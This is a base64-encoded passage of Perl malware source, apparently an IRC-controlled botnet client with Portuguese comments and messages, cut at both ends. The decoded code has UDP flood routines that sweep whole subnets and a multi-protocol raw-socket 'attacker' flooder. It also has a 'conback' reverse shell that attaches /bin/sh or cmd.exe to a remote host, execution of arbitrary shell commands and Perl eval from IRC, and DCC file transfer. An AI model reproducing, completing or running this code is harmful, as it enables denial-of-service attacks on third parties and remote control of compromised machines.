YSA9IGludChyYW5kIDY1MDAwKSArMSBpZiAoJHBvcnRhID09ICIwIik7CiAgICAgICAgICAgICAgICBzZW5kKFRyMHgsIDAsICRwYWNvdGUsIHNvY2thZGRyX2luKCRwb3J0YSwgJGFsdm8pKSBhbmQgJHBhY290ZXNlKysgaWYgKCRwYWNvdGVzID09ICIxIik7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIGlmICgkZXN0YXRpc3RpY2FzKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUZW1wbyBkZSBQYWNvdGVzXDAwMjogJHRlbXBvIi4icyIpOwogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlRvdGFsIGRlIFBhY290ZXNcMDAyOiAkcGFjb3Rlc2UiKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJBbHZvIGRvcyBQYWNvdGVzXDAwMjogJDEiKTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVsc2lmICgkZnVuY2FyZyA9fiAvXnVkcGZhaXhhXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7CiAgICAgICAgICAgICAgcmV0dXJuIHVubGVzcyAkcGFjb3RlczsKICAgICAgICAgICAgICBzb2NrZXQoVHIweCwgUEZfSU5FVCwgU09DS19ER1JBTSwgMTcpOwogICAgICAgICAgICAgIG15ICRmYWl4YWlwPSIkMSI7CiAgICAgICAgICAgICAgbXkgJHBvcnRhID0gIiQyIjsKICAgICAgICAgICAgICBteSAkdGVtcG8gPSAiJDMiOwogICAgICAgICAgICAgIG15ICRwYWNvdGU7CiAgICAgICAgICAgICAgbXkgJHBhY290ZXM7CiAgICAgICAgICAgICAgbXkgJGZpbSA9IHRpbWUgKyAkdGVtcG87CiAgICAgICAgICAgICAgbXkgJHBhY290YSA9IDE7CiAgICAgICAgICAgICAgbXkgJGFsdm87CiAgICAgICAgICAgICAgd2hpbGUgKCRwYWNvdGEgPT0gIjEiKSB7CiAgICAgICAgICAgICAgICBzbGVlcCAxOwogICAgICAgICAgICAgICAgJHBhY290YSA9IDAgaWYgKCh0aW1lID49ICRmaW0pICYmICgkdGVtcG8gIT0gIjAiKSk7CiAgICAgICAgICAgICAgICBmb3IgKG15ICRmYWl4YSA9IDE7ICRmYWl4YSA8PSAyNTU7ICRmYWl4YSsrKSB7CiAgICAgICAgICAgICAgICAgICRhbHZvID0gaW5ldF9hdG9uKCIkZmFpeGFpcC4kZmFpeGEiKTsKICAgICAgICAgICAgICAgICAgJHBhY290ZT0kcmFuZCB4ICRyYW5kIHggJHJhbmQ7CiAgICAgICAgICAgICAgICAgICRwb3J0YSA9IGludChyYW5kIDY1MDAwKSArMSBpZiAoJHBvcnRhID09ICIwIik7CiAgICAgICAgICAgICAgICAgIHNlbmQoVHIweCwgMCwgJHBhY290ZSwgc29ja2FkZHJfaW4oJHBvcnRhLCAkYWx2bykpIGFuZCAkcGFjb3Rlc2UrKyBpZiAoJHBhY290ZXMgPT0gIjEiKTsKICAgICAgICAgICAgICAgICAgaWYgKCRmYWl4YSA+PSAyNTUpIHsKICAgICAgICAgICAgICAgICAgICAkZmFpeGEgPSAxOwogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgIGlmICgkZXN0YXRpc3RpY2FzKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUZW1wbyBkZSBQYWNvdGVzXDAwMjogJHRlbXBvIi4icyIpOwogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlRvdGFsIGRlIFBhY290ZXNcMDAyOiAkcGFjb3Rlc2UiKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJBbHZvIGRvcyBQYWNvdGVzXDAwMjogJGFsdm8iKTsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICMgQ29uYmFjay5wbCBieSBEb21pbnVzIFZpcyBhZGFwdGFkYSBlIGFkaWNpb25hZG8gc3Vwb3J0ZSBwcmEgd2luZG93cyA7cAogICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15jb25iYWNrXHMrKC4qKVxzKyhcZCspLykgewogICAgICAgICAgICAgIHNsZWVwIDE7CiAgICAgICAgICAgICAgbXkgJGhvc3QgPSAiJDEiOwogICAgICAgICAgICAgIG15ICRwb3J0YSA9ICIkMiI7CiAgICAgICAgICAgICAgbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOwogICAgICAgICAgICAgIG15ICRpYWRkciA9IGluZXRfYXRvbigkaG9zdCk7CiAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpOwogICAgICAgICAgICAgIG15ICRzaGVsbCA9ICIvYmluL3NoIC1pIjsKICAgICAgICAgICAgICBpZiAoJF5PIGVxICJNU1dpbjMyIikgewogICAgICAgICAgICAgICAgJHNoZWxsID0gImNtZC5leGUiOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICBzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSBvciBkaWUgInNvY2tldDogJCEiOwogICAgICAgICAgICAgIGNvbm5lY3QoU09DS0VULCAkcGFkZHIpIG9yIGRpZSAiY29ubmVjdDogJCEiOwogICAgICAgICAgICAgIG9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwogICAgICAgICAgICAgIG9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsKICAgICAgICAgICAgICBvcGVuKFNUREVSUiwgIj4mU09DS0VUIik7CiAgICAgICAgICAgICAgc3lzdGVtKCIkc2hlbGwiKTsKICAgICAgICAgICAgICBjbG9zZShTVERJTik7CiAgICAgICAgICAgICAgY2xvc2UoU1RET1VUKTsKICAgICAgICAgICAgICBjbG9zZShTVERFUlIpOwoKICAgICAgICAgICAgICBpZiAoJGVzdGF0aXN0aWNhcykKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyQ29uZWN0YW5kby1zZSBlbVwwMDI6ICRob3N0OiRwb3J0YSIpOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICBlbHNpZiAoJGZ1bmNhcmcgPX4gL15vbGRwYWNrXHMrKC4qKVxzKyhcZCspXHMrKFxkKykvKSB7CiAgICAgICAgICAgICBzbGVlcCAxOwogICAgICAgICAgICByZXR1cm4gdW5sZXNzICRwYWNvdGVzOwogICAgICAgICAgICAgbXkgKCRkdGltZSwgJXBhY290ZXMpID0gYXR0YWNrZXIoIiQxIiwgIiQyIiwgIiQzIik7CiAgICAgICAgICAgICAkZHRpbWUgPSAxIGlmICRkdGltZSA9PSAwOwogICAgICAgICAgICAgbXkgJWJ5dGVzOwogICAgICAgICAgICAgJGJ5dGVze2lnbXB9ID0gJDIgKiAkcGFjb3Rlc3tpZ21wfTsKICAgICAgICAgICAgICRieXRlc3tpY21wfSA9ICQyICogJHBhY290ZXN7aWNtcH07CiAgICAgICAgICAgICAkYnl0ZXN7b30gPSAkMiAqICRwYWNvdGVze299OwogICAgICAgICAgICAgJGJ5dGVze3VkcH0gPSAkMiAqICRwYWNvdGVze3VkcH07CiAgICAgICAgICAgICAkYnl0ZXN7dGNwfSA9ICQyICogJHBhY290ZXN7dGNwfTsKICAgICAgICAgICAgIHVubGVzcyAoJGVzdGF0aXN0aWNhcykKICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDIgLSBTdGF0dXMgLVwwMDIiKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUaW1wXDAwMjogJGR0aW1lIi4ic2VjdW5kZS4iKTsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJUb3RhbCBwYWNrZXRcMDAyOiAiLigkcGFjb3Rlc3t1ZHB9ICsgJHBhY290ZXN7aWdtcH0gKyAkcGFjb3Rlc3tpY21wfSArICAkcGFjb3Rlc3tvfSkpOwogICAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMlRvdGFsIGJ5dGVzXDAwMjogIi4oJGJ5dGVze2ljbXB9ICsgJGJ5dGVzIHtpZ21wfSArICRieXRlc3t1ZHB9ICsgJGJ5dGVze299KSk7CiAgICAgICAgICAgICAgIHNlbmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyRmxvb2RcMDAyOiAiLmludCgoKCRieXRlc3tpY21wfSskYnl0ZXN7aWdtcH0rJGJ5dGVze3VkcH0gKyAkYnl0ZXN7b30pLzEwMjQpLyRkdGltZSkuIiBrYnBzIik7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7CiAgICAgICB9CiAgfQp9CgpzdWIgaXJjYXNlIHsKICBzbGVlcCAxOwogIG15ICgka2VtLCAkcHJpbnRsLCAkY2FzZSkgPSBAXzsKCiAgIGlmICgkY2FzZSA9fiAvXmpvaW4gKC4qKS8pIHsKICAgICBqKCIkMSIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXnBhcnQgKC4qKS8pIHsKICAgICAgcCgiJDEiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15yZWpvaW5ccysoLiopLykgewogICAgICBteSAkY2hhbiA9ICQxOwogICAgICBpZiAoJGNoYW4gPX4gL14oXGQrKSAoLiopLykgewogICAgICAgIGZvciAobXkgJGNhID0gMTsgJGNhIDw9ICQxOyAkY2ErKyApIHsKICAgICAgICAgIHAoIiQyIik7CiAgICAgICAgICBqKCIkMiIpOwogICAgICAgIH0KICAgICAgfSBlbHNlIHsKICAgICAgICAgIHAoIiRjaGFuIik7CiAgICAgICAgICBqKCIkY2hhbiIpOwogICAgICB9CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9eb3AvKSB7CiAgICAgIG9wKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAib3AiOwogICAgICBteSAkb2FyZyA9IHN1YnN0cigkY2FzZSwgMyk7CiAgICAgIG9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmRlb3AvKSB7CiAgICAgIGRlb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJkZW9wIjsKICAgICAgbXkgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDUpOwogICAgICBkZW9wKCIkMSIsICIkMiIpIGlmICgkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXnZvaWNlLykgewogICAgICB2b2ljZSgiJHByaW50bCIsICIka2VtIikgaWYgJGNhc2UgZXEgInZvaWNlIjsKICAgICAgJG9hcmcgPSBzdWJzdHIoJGNhc2UsIDYpOwogICAgICB2b2ljZSgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15kZXZvaWNlLykgewogICAgICBkZXZvaWNlKCIkcHJpbnRsIiwgIiRrZW0iKSBpZiAkY2FzZSBlcSAiZGV2b2ljZSI7CiAgICAgICRvYXJnID0gc3Vic3RyKCRjYXNlLCA4KTsKICAgICAgZGV2b2ljZSgiJDEiLCAiJDIiKSBpZiAoJG9hcmcgPX4gLyhcUyspXHMrKFxTKykvKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15tc2dccysoXFMrKSAoLiopLykgewogICAgICBtc2coIiQxIiwgIiQyIik7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9eZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7CiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykgewogICAgICAgIG1zZygiJDIiLCAiJDMiKTsKICAgICAgfQogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmN0Y3BmbG9vZFxzKyhcZCspXHMrKFxTKykgKC4qKS8pIHsKICAgICAgZm9yIChteSAkY2YgPSAxOyAkY2YgPD0gJDE7ICRjZisrKSB7CiAgICAgICAgY3RjcCgiJDIiLCAiJDMiKTsKICAgICAgfQogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmN0Y3BccysoXFMrKSAoLiopLykgewogICAgICBjdGNwKCIkMSIsICIkMiIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmludml0ZVxzKyhcUyspICguKikvKSB7CiAgICAgIGludml0ZSgiJDEiLCAiJDIiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15uaWNrICguKikvKSB7CiAgICAgIG5pY2soIiQxIik7CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9eY29uZWN0YVxzKyhcUyspXHMrKFxTKykvKSB7CiAgICAgICBjb25lY3RhcigiJDIiLCAiJDEiLCA2NjY3KTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15zZW5kXHMrKFxTKylccysoXFMrKS8pIHsKICAgICAgRENDOjpTRU5EKCIkMSIsICIkMiIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXnJhdyAoLiopLykgewogICAgICBzZW5kcmF3KCIkMSIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmV2YWwgKC4qKS8pIHsKICAgICAgZXZhbCAiJDEiOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXmVudHJhXHMrKFxTKylccysoXGQrKS8pIHsKICAgIHNsZWVwIGludChyYW5kKCQyKSk7CiAgICBqKCIkMSIpOwogICB9CiAgIGVsc2lmICgkY2FzZSA9fiAvXnNhaVxzKyhcUyspXHMrKFxkKykvKSB7CiAgICBzbGVlcCBpbnQocmFuZCgkMikpOwogICAgcCgiJDEiKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15zYWlyLykgewogICAgIHF1aXQoKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15ub3Zvbmljay8pIHsKICAgIG15ICRub3ZvbmljayA9IGdldG5pY2soKTsKICAgICBuaWNrKCIkbm92b25pY2siKTsKICAgfQogICBlbHNpZiAoJGNhc2UgPX4gL15lc3RhdGlzdGljYXMgKC4qKS8pIHsKICAgICBpZiAoJDEgZXEgIm9uIikgewogICAgICAkZXN0YXRpc3RpY2FzID0gMTsKICAgICAgbXNnKCIkcHJpbnRsIiwgIkVzdGF0LnN0aWNhcyBhdGl2YWRhcyEiKTsKICAgICB9IGVsc2lmICgkMSBlcSAib2ZmIikgewogICAgICAkZXN0YXRpc3RpY2FzID0gMDsKICAgICAgbXNnKCIkcHJpbnRsIiwgIkVzdGF0LnN0aWNhcyBkZXNhdGl2YWRhcyEiKTsKICAgICB9CiAgIH0KICAgZWxzaWYgKCRjYXNlID1+IC9ecGFjb3RlcyAoLiopLykgewogICAgIGlmICgkMSBlcSAib24iKSB7CiAgICAgICRwYWNvdGVzID0gMTsKICAgICAgbXNnKCIkcHJpbnRsIiwgIlBhY290ZXMgYXRpdmFkb3MhIikgaWYgKCRlc3RhdGlzdGljYXMgPT0gIjEiKTsKICAgICB9IGVsc2lmICgkMSBlcSAib2ZmIikgewogICAgICAkcGFjb3RlcyA9IDA7CiAgICAgIG1zZygiJHByaW50bCIsICJQYWNvdGVzIGRlc2F0aXZhZG9zISIpIGlmICgkZXN0YXRpc3RpY2FzID09ICIxIik7CiAgICAgfQogICB9Cn0Kc3ViIHNoZWxsIHsKICBzbGVlcCAxOwogIHJldHVybiB1bmxlc3MgJGFjZXNzb3NoZWxsOwogIG15ICRwcmludGw9JF9bMF07CiAgbXkgJGNvbWFuZG89JF9bMV07CiAgaWYgKCRjb21hbmRvID1+IC9jZCAoLiopLykgewogICAgY2hkaXIoIiQxIikgfHwgbXNnKCIkcHJpbnRsIiwgIkRpcmV0LnJpbyBpbmV4aXN0ZW50ZSEiKTsKICAgIHJldHVybjsKICB9CiAgZWxzaWYgKCRwaWQgPSBmb3JrKSB7CiAgICAgd2FpdHBpZCgkcGlkLCAwKTsKICB9IGVsc2UgewogICAgICBpZiAoZm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsKICAgICAgICAgICBteSBAcmVzcD1gJGNvbWFuZG8gMj4mMSAzPiYxYDsKICAgICAgICAgICBteSAkYz0wOwogICAgICAgICAgIGZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgewogICAgICAgICAgICAgJGMrKzsKICAgICAgICAgICAgIGNob3AgJGxpbmhhOwogICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOiRsaW5oYSIpOwogICAgICAgICAgICAgaWYgKCRjID49ICIkbGluYXNfbWF4IikgewogICAgICAgICAgICAgICAkYz0wOwogICAgICAgICAgICAgICBzbGVlcCAkc2xlZXA7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7CiAgICAgICB9CiAgfQp9CgojZXUgZml6IHVtIHBhY290YWRvcnppbmh1IGUgdGFsei4uIGRhaSBjb2xva2VtbyBlbGUgYWtpCnN1YiBhdHRhY2tlciB7CiAgbXkgJGlhZGRyID0gaW5ldF9hdG9uKCRfWzBdKTsKICBteSAkbXNnID0gJ0InIHggJF9bMV07CiAgbXkgJGZ0aW1lID0gJF9bMl07CiAgbXkgJGNwID0gMDsKICBteSAoJXBhY290ZXMpOwogICRwYWNvdGVze2ljbXB9ID0gJHBhY290ZXN7aWdtcH0gPSAkcGFjb3Rlc3t1ZHB9ID0gJHBhY290ZXN7b30gPSAkcGFjb3Rlc3t0Y3B9ID0gMDsKCiAgc29ja2V0KFNPQ0sxLCBQRl9JTkVULCBTT0NLX1JBVywgMikgb3IgJGNwKys7CiAgc29ja2V0KFNPQ0syLCBQRl9JTkVULCBTT0NLX0RHUkFNLCAxNykgb3IgJGNwKys7CiAgc29ja2V0KFNPQ0szLCBQRl9JTkVULCBTT0NLX1JBVywgMSkgb3IgJGNwKys7CiAgc29ja2V0KFNPQ0s0LCBQRl9JTkVULCBTT0NLX1JBVywgNikgb3IgJGNwKys7CiAgcmV0dXJuKHVuZGVmKSBpZiAkY3AgPT0gNDsKICBteSAkaXRpbWUgPSB0aW1lOwogIG15ICgkY3VyX3RpbWUpOwogIHdoaWxlICggMSApIHsKICAgIHNsZWVwIDE7CiAgICAgZm9yIChteSAkcG9ydGEgPSAxOyAkcG9ydGEgPD0gNjU1MzU7ICRwb3J0YSsrKSB7CiAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwogICAgICAgbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogICAgICAgc2VuZChTT0NLMSwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7aWdtcH0rKyBpZiAoJHBhY290ZXMgPT0gMSk7CiAgICAgICBzZW5kKFNPQ0syLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t1ZHB9KysgaWYgKCRwYWNvdGVzID09IDEpOwogICAgICAgc2VuZChTT0NLMywgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7aWNtcH0rKyBpZiAoJHBhY290ZXMgPT0gMSk7CiAgICAgICBzZW5kKFNPQ0s0LCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t0Y3B9KysgaWYgKCRwYWNvdGVzID09IDEpOwoKICAgICAgICMgRG9TID8/IDpQCiAgICAgICBmb3IgKG15ICRwYyA9IDM7ICRwYyA8PSAyNTU7JHBjKyspIHsKICAgICAgICAgbmV4dCBpZiAkcGMgPT0gNjsKICAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKICAgICAgICAgbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogICAgICAgICBzb2NrZXQoU09DSzUsIFBGX0lORVQsIFNPQ0tfUkFXLCAkcGMpIG9yIG5leHQ7CiAgICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze299KysgaWYgKCRwYWNvdGVzID09IDEpOwogICAgICAgfQogICAgIH0KICAgICBsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7CiAgfQogIHJldHVybigkY3VyX3RpbWUsICVwYWNvdGVzKTsKfQoKIyMjIyMjIyMjIyMjIwojICBBTElBU0VTICAjCiMjIyMjIyMjIyMjIyMKCnN1YiBhY3Rpb24gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJQUklWTVNHICRfWzBdIDpcMDAxQUNUSU9OICRfWzFdXDAwMSIpOwp9CgpzdWIgY3RjcCB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOlwwMDEkX1sxXVwwMDEiKTsKfQpzdWIgbXNnIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiUFJJVk1TRyAkX1swXSA6JF9bMV0iKTsKfQoKc3ViIG5vdGljZSB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIk5PVElDRSAkX1swXSA6JF9bMV0iKTsKfQoKc3ViIG9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSArbyAkX1sxXSIpOwp9CnN1YiBkZW9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSAtbyAkX1sxXSIpOwp9CnN1YiBob3AgewogICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSAraCAkX1sxXSIpOwp9CnN1YiBkZWhvcCB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK2ggJF9bMV0iKTsKfQpzdWIgdm9pY2UgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdICt2ICRfWzFdIik7Cn0Kc3ViIGRldm9pY2UgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdIC12ICRfWzFdIik7Cn0Kc3ViIGJhbiB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK2IgJF9bMV0iKTsKfQpzdWIgdW5iYW4gewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1iICRfWzFdIik7Cn0Kc3ViIGtpY2sgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJLSUNLICRfWzBdICRfWzFdIDokX1syXSIpOwp9CgpzdWIgbW9kbyB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gJF9bMV0iKTsKfQpzdWIgbW9kZSB7IG1vZG8oQF8pOyB9CgpzdWIgaiB7ICZqb2luKEBfKTsgfQpzdWIgam9pbiB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgIHNlbmRyYXcoIkpPSU4gJF9bMF0iKTsKfQpzdWIgcCB7IHBhcnQoQF8pOyB9CnN1YiBwYXJ0IHtzZW5kcmF3KCJQQVJUICRfWzBdIik7fQoKc3ViIG5pY2sgewogIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgc2VuZHJhdygiTklDSyAkX1swXSIpOwp9CgpzdWIgaW52aXRlIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiSU5WSVRFICRfWzFdICRfWzBdIik7Cn0Kc3ViIHRvcGljbyB7CiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7CiAgIHNlbmRyYXcoIlRPUElDICRfWzBdICRfWzFdIik7Cn0Kc3ViIHRvcGljIHsgdG9waWNvKEBfKTsgfQoKc3ViIHdob2lzIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRyYXcoIldIT0lTICRfWzBdIik7Cn0Kc3ViIHdobyB7CiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsKICBzZW5kcmF3KCJXSE8gJF9bMF0iKTsKfQpzdWIgbmFtZXMgewogIHJldHVybiB1bmxlc3MgJCNfID09IDA7CiAgc2VuZHJhdygiTkFNRVMgJF9bMF0iKTsKfQpzdWIgYXdheSB7CiAgc2VuZHJhdygiQVdBWSAkX1swXSIpOwp9CnN1YiBiYWNrIHsgYXdheSgpOyB9CnN1YiBxdWl0IHsKICBzZW5kcmF3KCJRVUlUIDokX1swXSIpOwogIGV4aXQ7Cn0KCiMgRENDCnBhY2thZ2UgRENDOwoKc3ViIGNvbm5lY3Rpb25zIHsKICBzbGVlcCAxOwogICBteSBAcmVhZHkgPSAkZGNjX3NlbC0+Y2FuX3JlYWQoMSk7CiMgICByZXR1cm4gdW5sZXNzIChAcmVhZHkpOwogICBmb3JlYWNoIG15ICRmaCAoQHJlYWR5KSB7CiAgICAgc2xlZXAgMTsKCiAgICAgbXkgJGRjY3RpcG8gPSAkRENDeyRmaH17dGlwb307CiAgICAgbXkgJGFycXVpdm8gPSAkRENDeyRmaH17YXJxdWl2b307CiAgICAgbXkgJGJ5dGVzID0gJERDQ3skZmh9e2J5dGVzfTsKICAgICBteSAkY3VyX2J5dGUgPSAkRENDeyRmaH17Y3VyYnl0ZX07CiAgICAgbXkgJG5pY2sgPSAkRENDeyRmaH17bmlja307CgogICAgIG15ICRtc2c7CiAgICAgbXkgJG5yZWFkID0gc3lzcmVhZCgkZmgsICRtc2csIDEwMjQwKTsKCiAgICAgaWYgKCRucmVhZCA9PSAwIGFuZCAkZGNjdGlwbyA9fiAvXihnZXR8c2VuZGNvbikkLykgewogICAgICAgICREQ0N7JGZofXtzdGF0dXN9ID0gIkNhbmNlbGFkbyI7CiAgICAgICAgJERDQ3skZmh9e2Z0aW1lfSA9IHRpbWU7CiAgICAgICAgJGRjY19zZWwtPnJlbW92ZSgkZmgpOwogICAgICAgICRmaC0+Y2xvc2U7CiAgICAgICAgbmV4dDsKICAgICB9CgogICAgIGlmICgkZGNjdGlwbyBlcSAiZ2V0IikgewogICAgICAgICREQ0N7JGZofXtjdXJieXRlfSArPSBsZW5ndGgoJG1zZyk7CgogICAgICAgIG15ICRjdXJfYnl0ZSA9ICREQ0N7JGZofXtjdXJieXRlfTsKCiAgICAgICAgb3BlbihGSUxFLCAiPj4gJGFycXVpdm8iKTsKICAgICAgICBwcmludCBGSUxFICIkbXNnIiBpZiAoJGN1cl9ieXRlIDw9ICRieXRlcyk7CiAgICAgICAgY2xvc2UoRklMRSk7CgogICAgICAgIG15ICRwYWNrYnl0ZSA9IHBhY2soIk4iLCAkY3VyX2J5dGUpOwogICAgICAgIHByaW50ICRmaCAiJHBhY2tieXRlIjsKCiAgICAgICAgaWYgKCRieXRlcyA9PSAkY3VyX2J5dGUpIHsKICAgICAgICAgICAkZGNjX3NlbC0+cmVtb3ZlKCRmaCk7CiAgICAgICAgICAgJGZoLT5jbG9zZTsKICAgICAgICAgICAkRENDeyRmaH17c3RhdHVzfSA9ICJSZWNlYmlkbyI7CiAgICAgICAgICAgJERDQ3skZmh9e2Z0aW1lfSA9IHRpbWU7CiAgICAgICAgICAgbmV4dDsKICAgICAgICB9CiAgICAgfSBlbHNpZiAoJGRjY3RpcG8gZXEgInNlbmQiKSB7CiAgICAgICAgICBteSAkc2VuZCA9ICRmaC0+YWNjZXB0OwogICAgICAgICAgJHNlbmQtPmF1dG9mbHVzaCgxKTsKICAgICAgICAgICRkY2Nfc2VsLT5hZGQoJHNlbmQpOwogICAgICAgICAgJGRjY19zZWwtPnJlbW92ZSgkZmgpOwogICAgICAgICAgJERDQ3skc2VuZH17dGlwb30gPSAnc2VuZGNvbic7CiAgICAgICAgICAkRENDeyRzZW5kfXtpdGltZX0gPSB0aW1lOwogICAgICAgICAgJERDQ3skc2VuZH17bmlja30gPSAkbmljazsKICAgICAgICAgICREQ0N7JHNlbmR9e2J5dGVzfSA9